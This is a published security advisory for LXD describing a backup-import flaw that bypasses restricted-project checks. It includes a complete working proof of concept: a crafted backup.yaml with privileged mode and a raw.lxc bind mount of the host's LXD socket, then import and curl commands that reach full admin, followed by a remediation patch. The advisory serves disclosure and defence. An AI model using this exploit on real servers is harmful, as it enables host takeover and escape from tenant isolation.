GHSA-Q96J-3FMM-7FV4

Vulnerability from github – Published: 2026-04-10 19:20 – Updated: 2026-04-10 19:20
VLAI?
Summary
LXD: Importing a crafted backup leads to project restriction bypass
Details

Summary

LXD instance backup import validates project restrictions against backup/index.yaml embedded in the tar archive, but creates the actual instance from backup/container/backup.yaml extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where index.yaml contains clean configuration (passing all restriction checks) while backup.yaml contains security.privileged=true, raw.lxc host filesystem mounts, and restricted device types. The instance is created from the unchecked backup.yaml, bypassing all project restriction enforcement.

Details

LXD projects support a restricted=true mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking security.privileged=true containers, raw.lxc / raw.apparmor overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project.

The backup import path has two distinct configuration sources within a single tar archive:

  1. backup/index.yaml - A quick-access metadata file read by backup.GetInfo() at backup/backup_info.go:68. This is the config checked against project restrictions.
  2. backup/container/backup.yaml - The full instance configuration extracted to the storage volume and used for actual instance creation at api_internal.go:784.

The vulnerability exists because:

  1. AllowInstanceCreation() at instances_post.go:885 validates project restrictions using only bInfo.Config from index.yaml.

  2. The tar contents (including backup/container/backup.yaml) are extracted to the storage volume at generic_vfs.go:952 via unpackVolume().

  3. UpdateInstanceConfig() at backup_config_utils.go:236 reads backup.yaml from storage but only syncs Name, Project, pool info, and volume UUIDs - it does not overwrite Instance.Config or Instance.Devices.

  4. internalImportFromBackup() at api_internal.go:784 reads backup.yaml from the storage mount path (not index.yaml) to build the instance database record.

  5. instance.CreateInternal() at api_internal.go:946 creates the instance using the config from backup.yaml. CreateInternal calls ValidConfig which validates config key format only, not project restriction compliance.

Proof of Concept

Environment setup (server admin)

These steps are performed by the LXD server administrator to set up the restricted project and grant access to the user. This represents the normal multi-tenant configuration that the exploit targets.

# Create a restricted project
lxc project create restricted-project \
  -c features.images=false \
  -c features.profiles=true \
  -c restricted=true

# Create a default profile with a root disk in the restricted project
lxc profile device add default root disk \
  path=/ pool=default --project restricted-project

# Create a group with instance management permissions in the restricted project
lxc auth group create poc-group
lxc auth group permission add poc-group project restricted-project can_view
lxc auth group permission add poc-group project restricted-project can_create_instances
lxc auth group permission add poc-group project restricted-project can_view_instances
lxc auth group permission add poc-group project restricted-project can_operate_instances

# Create a TLS identity for the attacker, scoped to the group
lxc auth identity create tls/poc-attacker --group poc-group

# The attacker uses it to add the remote:
# lxc remote add target-lxd <token>

After this setup, the attacker can create normal unprivileged instances in restricted-project but should not be able to create privileged containers, use raw.lxc, or attach GPU/USB/unix-char devices. The exploit bypasses all of these restrictions.

Steps

1. Create an instance backup archive locally

The attacker constructs the entire backup archive locally. No access to any LXD server is needed for this step.

# Create the backup directory structure
mkdir -p backup/container

# Build a minimal rootfs with an init system using debootstrap
sudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/

# Create backup index.yaml
cat >backup/index.yaml <<EOF
version: 2
name: escalated-instance
backend: dir
pool: default
type: container
optimized: false
config:
  instance:
    name: escalated-instance
    architecture: x86_64
    type: container
    config: {}
    devices: {}
    expanded_config: {}
    expanded_devices:
      root:
        path: /
        pool: default
        type: disk
    profiles:
      - default
    stateful: false
  pools:
    - name: default
      driver: dir
  volumes:
    - name: escalated-instance
      type: container
      pool: default
      content_type: filesystem
      config:
        volatile.uuid: "00000000-0000-0000-0000-000000000000"
EOF

# Create malicious `backup/container/backup.yaml`
# This is the file LXD actually uses to create the instance. It contains the
# restricted config and devices that should be blocked by the project. LXD
# never compares this file against `index.yaml` or re-validates it against
# project restrictions.

cat > backup/container/backup.yaml <<EOF
instance:
  name: escalated-instance
  architecture: x86_64
  type: container
  config:
    security.privileged: "true"
    raw.lxc: |
      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0
    raw.apparmor: ""
  devices: {}
  expanded_config:
    security.privileged: "true"
    raw.lxc: |
      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0
    raw.apparmor: ""
  expanded_devices:
    root:
      path: /
      pool: default
      type: disk
  profiles:
    - default
  stateful: false
pools:
  - name: default
    driver: dir
volumes:
  - name: escalated-instance
    type: container
    pool: default
    content_type: filesystem
    config:
      volatile.uuid: "00000000-0000-0000-0000-000000000000"
EOF

# Package the archive
tar -cf malicious-backup.tar backup/

2. Connect to the target LXD server and import the backup

Connect to the target LXD server and confirm restricted access:

# Add the target server as a remote
lxc remote add target-lxd <token>

# Confirm the attacker's restricted access (command returns restricted=true)
lxc project show target-lxd:restricted-project

# Confirm the attacker can't launch a privileged container (command should fail)
lxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true

# Import malicious backup
lxc import target-lxd: malicious-backup.tar --project restricted-project

# Verify the restricted config was accepted into the restricted project
lxc config show target-lxd:escalated-instance --project restricted-project

# Output contains:
# security.privileged: "true"

3. Escalate to full LXD admin

Start the container and use the LXD Unix socket, which was bind-mounted from the host via raw.lxc. Local connections over the Unix socket are trusted as full admin with unrestricted access across all projects.

lxc start target-lxd:escalated-instance --project restricted-project

# Query the LXD API via the bind-mounted Unix socket (full admin access)
lxc exec target-lxd:escalated-instance --project restricted-project -- \
  curl -s --unix-socket /unix.socket http://localhost/1.0/projects

# From here the attacker has full control: create admin certs, access
# all projects, modify any instance, or mount the host filesystem.

Impact

The exploit allows full host compromise from within a restricted project. The requirement is that the user has can_view_instances, can_create_instances and can_operate_instances on the project -- standard permissions for any tenant expected to manage instances.

Possible remediation

Add a second AllowInstanceCreation (or checkInstanceRestrictions) call after backup.yaml is read from storage and before CreateInternal is called. In api_internal.go, between the ParseConfigYamlFile call (line 784) and the CreateInternal call (line 946):

// After parsing backup.yaml, re-validate project restrictions
// against the config that will actually be used for instance creation
err = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx *db.ClusterTx) error {
    req := api.InstancesPost{
        InstancePut: api.InstancePut{
            Config:  backupConf.Instance.Config,
            Devices: backupConf.Instance.Devices,
        },
        Type: api.InstanceType(backupConf.Instance.Type),
    }

    return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req)
})
if err != nil {
    return fmt.Errorf("Backup config violates project restrictions: %w", err)
}

Patches

LXD Series Interim release
6 https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1
5.21 https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1
5.0 https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20210305023314-538ac3df036e"
            },
            {
              "last_affected": "0.0.0-20260226085519-736f34afb267"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:20:55Z",
    "nvd_published_at": "2026-04-09T10:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nLXD instance backup import validates project restrictions against `backup/index.yaml` embedded in the tar archive, but creates the actual instance from `backup/container/backup.yaml` extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where `index.yaml` contains clean configuration (passing all restriction checks) while `backup.yaml` contains `security.privileged=true`, `raw.lxc` host filesystem mounts, and restricted device types. The instance is created from the unchecked `backup.yaml`, bypassing all project restriction enforcement.\n\n## Details\n\nLXD projects support a `restricted=true` mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking `security.privileged=true` containers, `raw.lxc` / `raw.apparmor` overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project.\n\nThe backup import path has two distinct configuration sources within a single tar archive:\n\n1. `backup/index.yaml` - A quick-access metadata file read by `backup.GetInfo()` at `backup/backup_info.go:68`. This is the config checked against project restrictions.\n2. `backup/container/backup.yaml` - The full instance configuration extracted to the storage volume and used for actual instance creation at `api_internal.go:784`.\n\nThe vulnerability exists because:\n\n1. `AllowInstanceCreation()` at `instances_post.go:885` validates project restrictions using only `bInfo.Config` from `index.yaml`.\n\n2. The tar contents (including `backup/container/backup.yaml`) are extracted to the storage volume at `generic_vfs.go:952` via `unpackVolume()`.\n\n3. `UpdateInstanceConfig()` at `backup_config_utils.go:236` reads `backup.yaml` from storage but only syncs `Name`, `Project`, pool info, and volume UUIDs - it does not overwrite `Instance.Config` or `Instance.Devices`.\n\n4. `internalImportFromBackup()` at `api_internal.go:784` reads `backup.yaml` from the storage mount path (not `index.yaml`) to build the instance database record.\n\n5. `instance.CreateInternal()` at `api_internal.go:946` creates the instance using the config from `backup.yaml`. `CreateInternal` calls `ValidConfig` which validates config key **format** only, not project restriction compliance.\n\n\n## Proof of Concept\n\n### Environment setup (server admin)\n\nThese steps are performed by the LXD server administrator to set up the\nrestricted project and grant access to the user. This represents the normal\nmulti-tenant configuration that the exploit targets.\n\n```bash\n# Create a restricted project\nlxc project create restricted-project \\\n  -c features.images=false \\\n  -c features.profiles=true \\\n  -c restricted=true\n\n# Create a default profile with a root disk in the restricted project\nlxc profile device add default root disk \\\n  path=/ pool=default --project restricted-project\n\n# Create a group with instance management permissions in the restricted project\nlxc auth group create poc-group\nlxc auth group permission add poc-group project restricted-project can_view\nlxc auth group permission add poc-group project restricted-project can_create_instances\nlxc auth group permission add poc-group project restricted-project can_view_instances\nlxc auth group permission add poc-group project restricted-project can_operate_instances\n\n# Create a TLS identity for the attacker, scoped to the group\nlxc auth identity create tls/poc-attacker --group poc-group\n\n# The attacker uses it to add the remote:\n# lxc remote add target-lxd \u003ctoken\u003e\n```\n\nAfter this setup, the attacker can create normal unprivileged instances in\n`restricted-project` but should not be able to create privileged containers,\nuse `raw.lxc`, or attach GPU/USB/unix-char devices. The exploit bypasses\nall of these restrictions.\n\n### Steps\n\n**1. Create an instance backup archive locally**\n\nThe attacker constructs the entire backup archive locally. No access to any\nLXD server is needed for this step. \n\n```shell\n# Create the backup directory structure\nmkdir -p backup/container\n\n# Build a minimal rootfs with an init system using debootstrap\nsudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/\n\n# Create backup index.yaml\ncat \u003ebackup/index.yaml \u003c\u003cEOF\nversion: 2\nname: escalated-instance\nbackend: dir\npool: default\ntype: container\noptimized: false\nconfig:\n  instance:\n    name: escalated-instance\n    architecture: x86_64\n    type: container\n    config: {}\n    devices: {}\n    expanded_config: {}\n    expanded_devices:\n      root:\n        path: /\n        pool: default\n        type: disk\n    profiles:\n      - default\n    stateful: false\n  pools:\n    - name: default\n      driver: dir\n  volumes:\n    - name: escalated-instance\n      type: container\n      pool: default\n      content_type: filesystem\n      config:\n        volatile.uuid: \"00000000-0000-0000-0000-000000000000\"\nEOF\n\n# Create malicious `backup/container/backup.yaml`\n# This is the file LXD actually uses to create the instance. It contains the\n# restricted config and devices that should be blocked by the project. LXD\n# never compares this file against `index.yaml` or re-validates it against\n# project restrictions.\n\ncat \u003e backup/container/backup.yaml \u003c\u003cEOF\ninstance:\n  name: escalated-instance\n  architecture: x86_64\n  type: container\n  config:\n    security.privileged: \"true\"\n    raw.lxc: |\n      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0\n    raw.apparmor: \"\"\n  devices: {}\n  expanded_config:\n    security.privileged: \"true\"\n    raw.lxc: |\n      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0\n    raw.apparmor: \"\"\n  expanded_devices:\n    root:\n      path: /\n      pool: default\n      type: disk\n  profiles:\n    - default\n  stateful: false\npools:\n  - name: default\n    driver: dir\nvolumes:\n  - name: escalated-instance\n    type: container\n    pool: default\n    content_type: filesystem\n    config:\n      volatile.uuid: \"00000000-0000-0000-0000-000000000000\"\nEOF\n\n# Package the archive\ntar -cf malicious-backup.tar backup/\n```\n\n**2. Connect to the target LXD server and import the backup**\n\nConnect to the target LXD server and confirm restricted access:\n\n```bash\n# Add the target server as a remote\nlxc remote add target-lxd \u003ctoken\u003e\n\n# Confirm the attacker\u0027s restricted access (command returns restricted=true)\nlxc project show target-lxd:restricted-project\n\n# Confirm the attacker can\u0027t launch a privileged container (command should fail)\nlxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true\n\n# Import malicious backup\nlxc import target-lxd: malicious-backup.tar --project restricted-project\n\n# Verify the restricted config was accepted into the restricted project\nlxc config show target-lxd:escalated-instance --project restricted-project\n\n# Output contains:\n# security.privileged: \"true\"\n```\n\n**3. Escalate to full LXD admin**\n\nStart the container and use the LXD Unix socket, which was bind-mounted\nfrom the host via `raw.lxc`. Local connections over the Unix socket are\ntrusted as full admin with unrestricted access across all projects.\n\n```bash\nlxc start target-lxd:escalated-instance --project restricted-project\n\n# Query the LXD API via the bind-mounted Unix socket (full admin access)\nlxc exec target-lxd:escalated-instance --project restricted-project -- \\\n  curl -s --unix-socket /unix.socket http://localhost/1.0/projects\n\n# From here the attacker has full control: create admin certs, access\n# all projects, modify any instance, or mount the host filesystem.\n```\n\n## Impact\n\nThe exploit allows full host compromise from within a restricted project.\nThe requirement is that the user has `can_view_instances`, `can_create_instances` and `can_operate_instances` on the project -- standard permissions for any tenant expected to manage instances.\n\n## Possible remediation\n\nAdd a second `AllowInstanceCreation` (or `checkInstanceRestrictions`) call after `backup.yaml` is read from storage and before `CreateInternal` is called. In `api_internal.go`, between the `ParseConfigYamlFile` call (line 784) and the `CreateInternal` call (line 946):\n\n```go\n// After parsing backup.yaml, re-validate project restrictions\n// against the config that will actually be used for instance creation\nerr = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx *db.ClusterTx) error {\n    req := api.InstancesPost{\n        InstancePut: api.InstancePut{\n            Config:  backupConf.Instance.Config,\n            Devices: backupConf.Instance.Devices,\n        },\n        Type: api.InstanceType(backupConf.Instance.Type),\n    }\n\n    return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req)\n})\nif err != nil {\n    return fmt.Errorf(\"Backup config violates project restrictions: %w\", err)\n}\n```\n\n### Patches\n\n| LXD Series  | Interim release |\n| ------------- | ------------- |\n| 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1  |\n| 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1  |\n| 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |",
  "id": "GHSA-q96j-3fmm-7fv4",
  "modified": "2026-04-10T19:20:55Z",
  "published": "2026-04-10T19:20:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-q96j-3fmm-7fv4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/pull/17921"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/canonical/lxd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LXD: Importing a crafted backup leads to project restriction bypass"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…